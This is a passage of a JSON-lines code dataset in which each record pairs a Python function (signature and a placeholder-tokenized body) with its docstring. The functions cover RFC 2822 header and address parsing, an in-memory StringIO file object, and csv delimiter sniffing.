(normally blank) line that ends the headers is skipped, but not\n        included in the returned list.  If a non-header line ends the headers,\n        (which is an error), an attempt is made to backspace over it; it is\n        never included in the returned list.\n\n        The variable self.status is set to the empty string if all went well,\n        otherwise it is an error message.  The variable self.headers is a\n        completely uninterpreted list of lines contained in the header (so\n        printing them will reproduce the header exactly as it appears in the\n        file).", "id": "f16460:c0:m2"}
{"signature": "def isheader(self, line):", "body": "i = line.find('<STR_LIT::>')<EOL>if i > -<NUM_LIT:1>:<EOL><INDENT>return line[:i].lower()<EOL><DEDENT>return None<EOL>", "docstring": "Determine whether a given line is a legal header.\n\n        This method should return the header name, suitably canonicalized.\n        You may override this method in order to use Message parsing on tagged\n        data in RFC 2822-like formats with special header formats.", "id": "f16460:c0:m3"}
{"signature": "def islast(self, line):", "body": "return line in _blanklines<EOL>", "docstring": "Determine whether a line is a legal end of RFC 2822 headers.\n\n        You may override this method if your application wants to bend the\n        rules, e.g. to strip trailing whitespace, or to recognize MH template\n        separators ('--------').  For convenience (e.g. for code reading from\n        sockets) a line consisting of \\\\r\\\\n also matches.", "id": "f16460:c0:m4"}
{"signature": "def iscomment(self, line):", "body": "return False<EOL>", "docstring": "Determine whether a line should be skipped entirely.\n\n        You may override this method in order to use Message parsing on tagged\n        data in RFC 2822-like formats that support embedded comments or\n        free-text data.", "id": "f16460:c0:m5"}
{"signature": "def getallmatchingheaders(self, name):", "body": "name = name.lower() + '<STR_LIT::>'<EOL>n = len(name)<EOL>lst = []<EOL>hit = <NUM_LIT:0><EOL>for line in self.headers:<EOL><INDENT>if line[:n].lower() == name:<EOL><INDENT>hit = <NUM_LIT:1><EOL><DEDENT>elif not line[:<NUM_LIT:1>].isspace():<EOL><INDENT>hit = <NUM_LIT:0><EOL><DEDENT>if hit:<EOL><INDENT>lst.append(line)<EOL><DEDENT><DEDENT>return lst<EOL>", "docstring": "Find all header lines matching a given header name.\n\n        Look through the list of headers and find all lines matching a given\n        header name (and their continuation lines).  A list of the lines is\n        returned, without interpretation.  If the header does not occur, an\n        empty list is returned.  If the header occurs multiple times, all\n        occurrences are returned.  Case is not important in the header name.", "id": "f16460:c0:m6"}
{"signature": "def getfirstmatchingheader(self, name):", "body": "name = name.lower() + '<STR_LIT::>'<EOL>n = len(name)<EOL>lst = []<EOL>hit = <NUM_LIT:0><EOL>for line in self.headers:<EOL><INDENT>if hit:<EOL><INDENT>if not line[:<NUM_LIT:1>].isspace():<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif line[:n].lower() == name:<EOL><INDENT>hit = <NUM_LIT:1><EOL><DEDENT>if hit:<EOL><INDENT>lst.append(line)<EOL><DEDENT><DEDENT>return lst<EOL>", "docstring": "Get the first header line matching name.\n\n        This is similar to getallmatchingheaders, but it returns only the\n        first matching header (and its continuation lines).", "id": "f16460:c0:m7"}
{"signature": "def getrawheader(self, name):", "body": "lst = self.getfirstmatchingheader(name)<EOL>if not lst:<EOL><INDENT>return None<EOL><DEDENT>lst[<NUM_LIT:0>] = lst[<NUM_LIT:0>][len(name) + <NUM_LIT:1>:]<EOL>return '<STR_LIT>'.join(lst)<EOL>", "docstring": "A higher-level interface to getfirstmatchingheader().\n\n        Return a string containing the literal text of the header but with the\n        keyword stripped.  All leading, trailing and embedded whitespace is\n        kept in the string, however.  Return None if the header does not\n        occur.", "id": "f16460:c0:m8"}
{"signature": "def getheader(self, name, default=None):", "body": "return self.dict.get(name.lower(), default)<EOL>", "docstring": "Get the header value for a name.\n\n        This is the normal interface: it returns a stripped version of the\n        header value for a given header name, or None if it doesn't exist.\n        This uses the dictionary version which finds the *last* such header.", "id": "f16460:c0:m9"}
{"signature": "def getheaders(self, name):", "body": "result = []<EOL>current = '<STR_LIT>'<EOL>have_header = <NUM_LIT:0><EOL>for s in self.getallmatchingheaders(name):<EOL><INDENT>if s[<NUM_LIT:0>].isspace():<EOL><INDENT>if current:<EOL><INDENT>current = \"<STR_LIT>\" % (current, s.strip())<EOL><DEDENT>else:<EOL><INDENT>current = s.strip()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if have_header:<EOL><INDENT>result.append(current)<EOL><DEDENT>current = s[s.find(\"<STR_LIT::>\") + <NUM_LIT:1>:].strip()<EOL>have_header = <NUM_LIT:1><EOL><DEDENT><DEDENT>if have_header:<EOL><INDENT>result.append(current)<EOL><DEDENT>return result<EOL>", "docstring": "Get all values for a header.\n\n        This returns a list of values for headers given more than once; each\n        value in the result list is stripped in the same way as the result of\n        getheader().  If the header is not given, return an empty list.", "id": "f16460:c0:m10"}
{"signature": "def getaddr(self, name):", "body": "<EOL>alist = self.getaddrlist(name)<EOL>if alist:<EOL><INDENT>return alist[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return (None, None)<EOL><DEDENT>", "docstring": "Get a single address from a header, as a tuple.\n\n        An example return value:\n        ('Guido van Rossum', 'guido@cwi.nl')", "id": "f16460:c0:m11"}
{"signature": "def getaddrlist(self, name):", "body": "raw = []<EOL>for h in self.getallmatchingheaders(name):<EOL><INDENT>if h[<NUM_LIT:0>] in '<STR_LIT>':<EOL><INDENT>raw.append(h)<EOL><DEDENT>else:<EOL><INDENT>if raw:<EOL><INDENT>raw.append('<STR_LIT:U+002CU+0020>')<EOL><DEDENT>i = h.find('<STR_LIT::>')<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>addr = h[i+<NUM_LIT:1>:]<EOL><DEDENT>raw.append(addr)<EOL><DEDENT><DEDENT>alladdrs = '<STR_LIT>'.join(raw)<EOL>a = AddressList(alladdrs)<EOL>return a.addresslist<EOL>", "docstring": "Get a list of addresses from a header.\n\n        Retrieves a list of addresses from a header, where each address is a\n        tuple as returned by getaddr().  Scans all named headers, so it works\n        properly with multiple To: or Cc: headers for example.", "id": "f16460:c0:m12"}
{"signature": "def getdate(self, name):", "body": "try:<EOL><INDENT>data = self[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>return parsedate(data)<EOL>", "docstring": "Retrieve a date field from a header.\n\n        Retrieves a date field from the named header, returning a tuple\n        compatible with time.mktime().", "id": "f16460:c0:m13"}
{"signature": "def getdate_tz(self, name):", "body": "try:<EOL><INDENT>data = self[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>return parsedate_tz(data)<EOL>", "docstring": "Retrieve a date field from a header as a 10-tuple.\n\n        The first 9 elements make up a tuple compatible with time.mktime(),\n        and the 10th is the offset of the poster's time zone from GMT/UTC.", "id": "f16460:c0:m14"}
{"signature": "def __len__(self):", "body": "return len(self.dict)<EOL>", "docstring": "Get the number of headers in a message.", "id": "f16460:c0:m15"}
{"signature": "def __getitem__(self, name):", "body": "return self.dict[name.lower()]<EOL>", "docstring": "Get a specific header, as from a dictionary.", "id": "f16460:c0:m16"}
{"signature": "def __setitem__(self, name, value):", "body": "del self[name] <EOL>self.dict[name.lower()] = value<EOL>text = name + \"<STR_LIT>\" + value<EOL>for line in text.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>self.headers.append(line + \"<STR_LIT:\\n>\")<EOL><DEDENT>", "docstring": "Set the value of a header.\n\n        Note: This is not a perfect inversion of __getitem__, because any\n        changed headers get stuck at the end of the raw-headers list rather\n        than where the altered header was.", "id": "f16460:c0:m17"}
{"signature": "def __delitem__(self, name):", "body": "name = name.lower()<EOL>if not name in self.dict:<EOL><INDENT>return<EOL><DEDENT>del self.dict[name]<EOL>name = name + '<STR_LIT::>'<EOL>n = len(name)<EOL>lst = []<EOL>hit = <NUM_LIT:0><EOL>for i in range(len(self.headers)):<EOL><INDENT>line = self.headers[i]<EOL>if line[:n].lower() == name:<EOL><INDENT>hit = <NUM_LIT:1><EOL><DEDENT>elif not line[:<NUM_LIT:1>].isspace():<EOL><INDENT>hit = <NUM_LIT:0><EOL><DEDENT>if hit:<EOL><INDENT>lst.append(i)<EOL><DEDENT><DEDENT>for i in reversed(lst):<EOL><INDENT>del self.headers[i]<EOL><DEDENT>", "docstring": "Delete all occurrences of a specific header, if it is present.", "id": "f16460:c0:m18"}
{"signature": "def has_key(self, name):", "body": "return name.lower() in self.dict<EOL>", "docstring": "Determine whether a message contains the named header.", "id": "f16460:c0:m20"}
{"signature": "def __contains__(self, name):", "body": "return name.lower() in self.dict<EOL>", "docstring": "Determine whether a message contains the named header.", "id": "f16460:c0:m21"}
{"signature": "def keys(self):", "body": "return list(self.dict.keys())<EOL>", "docstring": "Get all of a message's header field names.", "id": "f16460:c0:m23"}
{"signature": "def values(self):", "body": "return list(self.dict.values())<EOL>", "docstring": "Get all of a message's header field values.", "id": "f16460:c0:m24"}
{"signature": "def items(self):", "body": "return list(self.dict.items())<EOL>", "docstring": "Get all of a message's headers.\n\n        Returns a list of name, value tuples.", "id": "f16460:c0:m25"}
{"signature": "def __init__(self, field):", "body": "self.specials = '<STR_LIT>'<EOL>self.pos = <NUM_LIT:0><EOL>self.LWS = '<STR_LIT>'<EOL>self.CR = '<STR_LIT:\\r\\n>'<EOL>self.atomends = self.specials + self.LWS + self.CR<EOL>self.phraseends = self.atomends.replace('<STR_LIT:.>', '<STR_LIT>')<EOL>self.field = field<EOL>self.commentlist = []<EOL>", "docstring": "Initialize a new instance.\n\n        `field' is an unparsed address header field, containing one or more\n        addresses.", "id": "f16460:c1:m0"}
{"signature": "def gotonext(self):", "body": "while self.pos < len(self.field):<EOL><INDENT>if self.field[self.pos] in self.LWS + '<STR_LIT>':<EOL><INDENT>self.pos = self.pos + <NUM_LIT:1><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:(>':<EOL><INDENT>self.commentlist.append(self.getcomment())<EOL><DEDENT>else: break<EOL><DEDENT>", "docstring": "Parse up to the start of the next address.", "id": "f16460:c1:m1"}
{"signature": "def getaddrlist(self):", "body": "result = []<EOL>ad = self.getaddress()<EOL>while ad:<EOL><INDENT>result += ad<EOL>ad = self.getaddress()<EOL><DEDENT>return result<EOL>", "docstring": "Parse all addresses.\n\n        Returns a list containing all of the addresses.", "id": "f16460:c1:m2"}
{"signature": "def getaddress(self):", "body": "self.commentlist = []<EOL>self.gotonext()<EOL>oldpos = self.pos<EOL>oldcl = self.commentlist<EOL>plist = self.getphraselist()<EOL>self.gotonext()<EOL>returnlist = []<EOL>if self.pos >= len(self.field):<EOL><INDENT>if plist:<EOL><INDENT>returnlist = [('<STR_LIT:U+0020>'.join(self.commentlist), plist[<NUM_LIT:0>])]<EOL><DEDENT><DEDENT>elif self.field[self.pos] in '<STR_LIT>':<EOL><INDENT>self.pos = oldpos<EOL>self.commentlist = oldcl<EOL>addrspec = self.getaddrspec()<EOL>returnlist = [('<STR_LIT:U+0020>'.join(self.commentlist), addrspec)]<EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT::>':<EOL><INDENT>returnlist = []<EOL>fieldlen = len(self.field)<EOL>self.pos += <NUM_LIT:1><EOL>while self.pos < len(self.field):<EOL><INDENT>self.gotonext()<EOL>if self.pos < fieldlen and self.field[self.pos] == '<STR_LIT:;>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL>break<EOL><DEDENT>returnlist = returnlist + self.getaddress()<EOL><DEDENT><DEDENT>elif self.field[self.pos] == '<STR_LIT:<>':<EOL><INDENT>routeaddr = self.getrouteaddr()<EOL>if self.commentlist:<EOL><INDENT>returnlist = [('<STR_LIT:U+0020>'.join(plist) + '<STR_LIT>' +'<STR_LIT:U+0020>'.join(self.commentlist) + '<STR_LIT:)>', routeaddr)]<EOL><DEDENT>else: returnlist = [('<STR_LIT:U+0020>'.join(plist), routeaddr)]<EOL><DEDENT>else:<EOL><INDENT>if plist:<EOL><INDENT>returnlist = [('<STR_LIT:U+0020>'.join(self.commentlist), plist[<NUM_LIT:0>])]<EOL><DEDENT>elif self.field[self.pos] in self.specials:<EOL><INDENT>self.pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>self.gotonext()<EOL>if self.pos < len(self.field) and self.field[self.pos] == '<STR_LIT:U+002C>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL><DEDENT>return returnlist<EOL>", "docstring": "Parse the next address.", "id": "f16460:c1:m3"}
{"signature": "def getrouteaddr(self):", "body": "if self.field[self.pos] != '<STR_LIT:<>':<EOL><INDENT>return<EOL><DEDENT>expectroute = <NUM_LIT:0><EOL>self.pos += <NUM_LIT:1><EOL>self.gotonext()<EOL>adlist = \"<STR_LIT>\"<EOL>while self.pos < len(self.field):<EOL><INDENT>if expectroute:<EOL><INDENT>self.getdomain()<EOL>expectroute = <NUM_LIT:0><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:>>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL>break<EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:@>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL>expectroute = <NUM_LIT:1><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT::>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>adlist = self.getaddrspec()<EOL>self.pos += <NUM_LIT:1><EOL>break<EOL><DEDENT>self.gotonext()<EOL><DEDENT>return adlist<EOL>", "docstring": "Parse a route address (Return-path value).\n\n        This method just skips all the route stuff and returns the addrspec.", "id": "f16460:c1:m4"}
{"signature": "def getaddrspec(self):", "body": "aslist = []<EOL>self.gotonext()<EOL>while self.pos < len(self.field):<EOL><INDENT>if self.field[self.pos] == '<STR_LIT:.>':<EOL><INDENT>aslist.append('<STR_LIT:.>')<EOL>self.pos += <NUM_LIT:1><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:\">':<EOL><INDENT>aslist.append('<STR_LIT>' % self.getquote())<EOL><DEDENT>elif self.field[self.pos] in self.atomends:<EOL><INDENT>break<EOL><DEDENT>else: aslist.append(self.getatom())<EOL>self.gotonext()<EOL><DEDENT>if self.pos >= len(self.field) or self.field[self.pos] != '<STR_LIT:@>':<EOL><INDENT>return '<STR_LIT>'.join(aslist)<EOL><DEDENT>aslist.append('<STR_LIT:@>')<EOL>self.pos += <NUM_LIT:1><EOL>self.gotonext()<EOL>return '<STR_LIT>'.join(aslist) + self.getdomain()<EOL>", "docstring": "Parse an RFC 2822 addr-spec.", "id": "f16460:c1:m5"}
{"signature": "def getdomain(self):", "body": "sdlist = []<EOL>while self.pos < len(self.field):<EOL><INDENT>if self.field[self.pos] in self.LWS:<EOL><INDENT>self.pos += <NUM_LIT:1><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:(>':<EOL><INDENT>self.commentlist.append(self.getcomment())<EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:[>':<EOL><INDENT>sdlist.append(self.getdomainliteral())<EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:.>':<EOL><INDENT>self.pos += <NUM_LIT:1><EOL>sdlist.append('<STR_LIT:.>')<EOL><DEDENT>elif self.field[self.pos] in self.atomends:<EOL><INDENT>break<EOL><DEDENT>else: sdlist.append(self.getatom())<EOL><DEDENT>return '<STR_LIT>'.join(sdlist)<EOL>", "docstring": "Get the complete domain name from an address.", "id": "f16460:c1:m6"}
{"signature": "def getdelimited(self, beginchar, endchars, allowcomments = <NUM_LIT:1>):", "body": "if self.field[self.pos] != beginchar:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>slist = ['<STR_LIT>']<EOL>quote = <NUM_LIT:0><EOL>self.pos += <NUM_LIT:1><EOL>while self.pos < len(self.field):<EOL><INDENT>if quote == <NUM_LIT:1>:<EOL><INDENT>slist.append(self.field[self.pos])<EOL>quote = <NUM_LIT:0><EOL><DEDENT>elif self.field[self.pos] in endchars:<EOL><INDENT>self.pos += <NUM_LIT:1><EOL>break<EOL><DEDENT>elif allowcomments and self.field[self.pos] == '<STR_LIT:(>':<EOL><INDENT>slist.append(self.getcomment())<EOL>continue        <EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:\\\\>':<EOL><INDENT>quote = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>slist.append(self.field[self.pos])<EOL><DEDENT>self.pos += <NUM_LIT:1><EOL><DEDENT>return '<STR_LIT>'.join(slist)<EOL>", "docstring": "Parse a header fragment delimited by special characters.\n\n        `beginchar' is the start character for the fragment.  If self is not\n        looking at an instance of `beginchar' then getdelimited returns the\n        empty string.\n\n        `endchars' is a sequence of allowable end-delimiting characters.\n        Parsing stops when one of these is encountered.\n\n        If `allowcomments' is non-zero, embedded RFC 2822 comments are allowed\n        within the parsed fragment.", "id": "f16460:c1:m7"}
{"signature": "def getquote(self):", "body": "return self.getdelimited('<STR_LIT:\">', '<STR_LIT>', <NUM_LIT:0>)<EOL>", "docstring": "Get a quote-delimited fragment from self's field.", "id": "f16460:c1:m8"}
{"signature": "def getcomment(self):", "body": "return self.getdelimited('<STR_LIT:(>', '<STR_LIT>', <NUM_LIT:1>)<EOL>", "docstring": "Get a parenthesis-delimited fragment from self's field.", "id": "f16460:c1:m9"}
{"signature": "def getdomainliteral(self):", "body": "return '<STR_LIT>' % self.getdelimited('<STR_LIT:[>', '<STR_LIT>', <NUM_LIT:0>)<EOL>", "docstring": "Parse an RFC 2822 domain-literal.", "id": "f16460:c1:m10"}
{"signature": "def getatom(self, atomends=None):", "body": "atomlist = ['<STR_LIT>']<EOL>if atomends is None:<EOL><INDENT>atomends = self.atomends<EOL><DEDENT>while self.pos < len(self.field):<EOL><INDENT>if self.field[self.pos] in atomends:<EOL><INDENT>break<EOL><DEDENT>else: atomlist.append(self.field[self.pos])<EOL>self.pos += <NUM_LIT:1><EOL><DEDENT>return '<STR_LIT>'.join(atomlist)<EOL>", "docstring": "Parse an RFC 2822 atom.\n\n        Optional atomends specifies a different set of end token delimiters\n        (the default is to use self.atomends).  This is used e.g. in\n        getphraselist() since phrase endings must not include the `.' (which\n        is legal in phrases).", "id": "f16460:c1:m11"}
{"signature": "def getphraselist(self):", "body": "plist = []<EOL>while self.pos < len(self.field):<EOL><INDENT>if self.field[self.pos] in self.LWS:<EOL><INDENT>self.pos += <NUM_LIT:1><EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:\">':<EOL><INDENT>plist.append(self.getquote())<EOL><DEDENT>elif self.field[self.pos] == '<STR_LIT:(>':<EOL><INDENT>self.commentlist.append(self.getcomment())<EOL><DEDENT>elif self.field[self.pos] in self.phraseends:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>plist.append(self.getatom(self.phraseends))<EOL><DEDENT><DEDENT>return plist<EOL>", "docstring": "Parse a sequence of RFC 2822 phrases.\n\n        A phrase is a sequence of words, which are in turn either RFC 2822\n        atoms or quoted-strings.  Phrases are canonicalized by squeezing all\n        runs of continuous whitespace into one space.", "id": "f16460:c1:m12"}
{"signature": "def __next__(self):", "body": "_complain_ifclosed(self.closed)<EOL>r = self.readline()<EOL>if not r:<EOL><INDENT>raise StopIteration<EOL><DEDENT>return r<EOL>", "docstring": "A file object is its own iterator, for example iter(f) returns f\n        (unless f is closed). When a file is used as an iterator, typically\n        in a for loop (for example, for line in f: print line), the next()\n        method is called repeatedly. This method returns the next input line,\n        or raises StopIteration when EOF is hit.", "id": "f16461:c0:m2"}
{"signature": "def close(self):", "body": "if not self.closed:<EOL><INDENT>self.closed = True<EOL>del self.buf, self.pos<EOL><DEDENT>", "docstring": "Free the memory buffer.", "id": "f16461:c0:m3"}
{"signature": "def isatty(self):", "body": "_complain_ifclosed(self.closed)<EOL>return False<EOL>", "docstring": "Returns False because StringIO objects are not connected to a\n        tty-like device.", "id": "f16461:c0:m4"}
{"signature": "def seek(self, pos, mode = <NUM_LIT:0>):", "body": "_complain_ifclosed(self.closed)<EOL>if self.buflist:<EOL><INDENT>self.buf += '<STR_LIT>'.join(self.buflist)<EOL>self.buflist = []<EOL><DEDENT>if mode == <NUM_LIT:1>:<EOL><INDENT>pos += self.pos<EOL><DEDENT>elif mode == <NUM_LIT:2>:<EOL><INDENT>pos += self.len<EOL><DEDENT>self.pos = max(<NUM_LIT:0>, pos)<EOL>", "docstring": "Set the file's current position.\n\n        The mode argument is optional and defaults to 0 (absolute file\n        positioning); other values are 1 (seek relative to the current\n        position) and 2 (seek relative to the file's end).\n\n        There is no return value.", "id": "f16461:c0:m5"}
{"signature": "def tell(self):", "body": "_complain_ifclosed(self.closed)<EOL>return self.pos<EOL>", "docstring": "Return the file's current position.", "id": "f16461:c0:m6"}
{"signature": "def read(self, n = -<NUM_LIT:1>):", "body": "_complain_ifclosed(self.closed)<EOL>if self.buflist:<EOL><INDENT>self.buf += '<STR_LIT>'.join(self.buflist)<EOL>self.buflist = []<EOL><DEDENT>if n is None or n < <NUM_LIT:0>:<EOL><INDENT>newpos = self.len<EOL><DEDENT>else:<EOL><INDENT>newpos = min(self.pos+n, self.len)<EOL><DEDENT>r = self.buf[self.pos:newpos]<EOL>self.pos = newpos<EOL>return r<EOL>", "docstring": "Read at most size bytes from the file\n        (less if the read hits EOF before obtaining size bytes).\n\n        If the size argument is negative or omitted, read all data until EOF\n        is reached. The bytes are returned as a string object. An empty\n        string is returned when EOF is encountered immediately.", "id": "f16461:c0:m7"}
{"signature": "def readline(self, length=None):", "body": "_complain_ifclosed(self.closed)<EOL>if self.buflist:<EOL><INDENT>self.buf += '<STR_LIT>'.join(self.buflist)<EOL>self.buflist = []<EOL><DEDENT>i = self.buf.find('<STR_LIT:\\n>', self.pos)<EOL>if i < <NUM_LIT:0>:<EOL><INDENT>newpos = self.len<EOL><DEDENT>else:<EOL><INDENT>newpos = i+<NUM_LIT:1><EOL><DEDENT>if length is not None and length >= <NUM_LIT:0>:<EOL><INDENT>if self.pos + length < newpos:<EOL><INDENT>newpos = self.pos + length<EOL><DEDENT><DEDENT>r = self.buf[self.pos:newpos]<EOL>self.pos = newpos<EOL>return r<EOL>", "docstring": "r\"\"\"Read one entire line from the file.\n\n        A trailing newline character is kept in the string (but may be absent\n        when a file ends with an incomplete line). If the size argument is\n        present and non-negative, it is a maximum byte count (including the\n        trailing newline) and an incomplete line may be returned.\n\n        An empty string is returned only when EOF is encountered immediately.\n\n        Note: Unlike stdio's fgets(), the returned string contains null\n        characters ('\\0') if they occurred in the input.", "id": "f16461:c0:m8"}
{"signature": "def readlines(self, sizehint = <NUM_LIT:0>):", "body": "total = <NUM_LIT:0><EOL>lines = []<EOL>line = self.readline()<EOL>while line:<EOL><INDENT>lines.append(line)<EOL>total += len(line)<EOL>if <NUM_LIT:0> < sizehint <= total:<EOL><INDENT>break<EOL><DEDENT>line = self.readline()<EOL><DEDENT>return lines<EOL>", "docstring": "Read until EOF using readline() and return a list containing the\n        lines thus read.\n\n        If the optional sizehint argument is present, instead of reading up\n        to EOF, whole lines totalling approximately sizehint bytes (or more\n        to accommodate a final whole line).", "id": "f16461:c0:m9"}
{"signature": "def truncate(self, size=None):", "body": "_complain_ifclosed(self.closed)<EOL>if size is None:<EOL><INDENT>size = self.pos<EOL><DEDENT>elif size < <NUM_LIT:0>:<EOL><INDENT>raise IOError(EINVAL, \"<STR_LIT>\")<EOL><DEDENT>elif size < self.pos:<EOL><INDENT>self.pos = size<EOL><DEDENT>self.buf = self.getvalue()[:size]<EOL>self.len = size<EOL>", "docstring": "Truncate the file's size.\n\n        If the optional size argument is present, the file is truncated to\n        (at most) that size. The size defaults to the current position.\n        The current file position is not changed unless the position\n        is beyond the new file size.\n\n        If the specified size exceeds the file's current size, the\n        file remains unchanged.", "id": "f16461:c0:m10"}
{"signature": "def write(self, s):", "body": "_complain_ifclosed(self.closed)<EOL>if not s: return<EOL>if not isinstance(s, str):<EOL><INDENT>s = str(s)<EOL><DEDENT>spos = self.pos<EOL>slen = self.len<EOL>if spos == slen:<EOL><INDENT>self.buflist.append(s)<EOL>self.len = self.pos = spos + len(s)<EOL>return<EOL><DEDENT>if spos > slen:<EOL><INDENT>self.buflist.append('<STR_LIT>'*(spos - slen))<EOL>slen = spos<EOL><DEDENT>newpos = spos + len(s)<EOL>if spos < slen:<EOL><INDENT>if self.buflist:<EOL><INDENT>self.buf += '<STR_LIT>'.join(self.buflist)<EOL><DEDENT>self.buflist = [self.buf[:spos], s, self.buf[newpos:]]<EOL>self.buf = '<STR_LIT>'<EOL>if newpos > slen:<EOL><INDENT>slen = newpos<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.buflist.append(s)<EOL>slen = newpos<EOL><DEDENT>self.len = slen<EOL>self.pos = newpos<EOL>", "docstring": "Write a string to the file.\n\n        There is no return value.", "id": "f16461:c0:m11"}
{"signature": "def writelines(self, iterable):", "body": "write = self.write<EOL>for line in iterable:<EOL><INDENT>write(line)<EOL><DEDENT>", "docstring": "Write a sequence of strings to the file. The sequence can be any\n        iterable object producing strings, typically a list of strings. There\n        is no return value.\n\n        (The name is intended to match readlines(); writelines() does not add\n        line separators.)", "id": "f16461:c0:m12"}
{"signature": "def flush(self):", "body": "_complain_ifclosed(self.closed)<EOL>", "docstring": "Flush the internal buffer", "id": "f16461:c0:m13"}
{"signature": "def getvalue(self):", "body": "_complain_ifclosed(self.closed)<EOL>if self.buflist:<EOL><INDENT>self.buf += '<STR_LIT>'.join(self.buflist)<EOL>self.buflist = []<EOL><DEDENT>return self.buf<EOL>", "docstring": "Retrieve the entire contents of the \"file\" at any time before\nthe StringIO object's close() method is called.\n\nThe StringIO object can accept either Unicode or 8-bit strings,\nbut mixing the two may take some care. If both are used, 8-bit\nstrings that cannot be interpreted as 7-bit ASCII (that use the\n8th bit) will cause a UnicodeError to be raised when getvalue()\nis called.", "id": "f16461:c0:m14"}
{"signature": "def sniff(self, sample, delimiters=None):", "body": "quotechar, doublequote, delimiter, skipinitialspace =self._guess_quote_and_delimiter(sample, delimiters)<EOL>if not delimiter:<EOL><INDENT>delimiter, skipinitialspace = self._guess_delimiter(sample,<EOL>delimiters)<EOL><DEDENT>if not delimiter:<EOL><INDENT>raise Error(\"<STR_LIT>\")<EOL><DEDENT>class dialect(Dialect):<EOL><INDENT>_name = \"<STR_LIT>\"<EOL>lineterminator = '<STR_LIT:\\r\\n>'<EOL>quoting = QUOTE_MINIMAL<EOL><DEDENT>dialect.doublequote = doublequote<EOL>dialect.delimiter = delimiter<EOL>dialect.quotechar = quotechar or '<STR_LIT:\">'<EOL>dialect.skipinitialspace = skipinitialspace<EOL>return dialect<EOL>", "docstring": "Returns a dialect (or None) corresponding to the sample", "id": "f16463:c5:m1"}
{"signature": "def _guess_quote_and_delimiter(self, data, delimiters):", "body": "matches = []<EOL>for restr in ('<STR_LIT>', <EOL>'<STR_LIT>',   <EOL>'<STR_LIT>',  <EOL>'<STR_LIT>'):                            <EOL><INDENT>regexp = re.compile(restr, re.DOTALL | re.MULTILINE)<EOL>matches = regexp.findall(data)<EOL>if matches:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not matches:<EOL><INDENT>return ('<STR_LIT>', False, None, <NUM_LIT:0>)<EOL><DEDENT>quotes = {}<EOL>delims = {}<EOL>spaces = <NUM_LIT:0><EOL>for m in matches:<EOL><INDENT>n = regexp.groupindex['<STR_LIT>'] - <NUM_LIT:1><EOL>key = m[n]<EOL>if key:<EOL><INDENT>quotes[key] = quotes.get(key, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>n = regexp.groupindex['<STR_LIT>'] - <NUM_LIT:1><EOL>key = m[n]<EOL><DEDENT>except KeyError:<EOL><INDENT>continue<EOL><DEDENT>if key and (delimiters is None or key in delimiters):<EOL><INDENT>delims[key] = delims.get(key, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>n = regexp.groupindex['<STR_LIT>'] - <NUM_LIT:1><EOL><DEDENT>except KeyError:<EOL><INDENT>continue<EOL><DEDENT>if m[n]:<EOL><INDENT>spaces += <NUM_LIT:1><EOL><DEDENT><DEDENT>quotechar = reduce(lambda a, b, quotes = quotes:<EOL>(quotes[a] > quotes[b]) and a or b, list(quotes.keys()))<EOL>if delims:<EOL><INDENT>delim = reduce(lambda a, b, delims = delims:<EOL>(delims[a] > delims[b]) and a or b, list(delims.keys()))<EOL>skipinitialspace = delims[delim] == spaces<EOL>if delim == '<STR_LIT:\\n>': <EOL><INDENT>delim = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>delim = '<STR_LIT>'<EOL>skipinitialspace = <NUM_LIT:0><EOL><DEDENT>dq_regexp = re.compile(<EOL>r\"<STR_LIT>\" %{'<STR_LIT>':re.escape(delim), '<STR_LIT>':quotechar}, re.MULTILINE)<EOL>if dq_regexp.search(data):<EOL><INDENT>doublequote = True<EOL><DEDENT>else:<EOL><INDENT>doublequote = False<EOL><DEDENT>return (quotechar, doublequote, delim, skipinitialspace)<EOL>", "docstring": "Looks for text enclosed between two identical quotes\n(the probable quotechar) which are preceded and followed\nby the same character (the probable delimiter).\nFor example:\n                 ,'some text',\nThe quote with the most wins, same with the delimiter.\nIf there is no quotechar the delimiter can't be determined\nthis way.", "id": "f16463:c5:m2"}
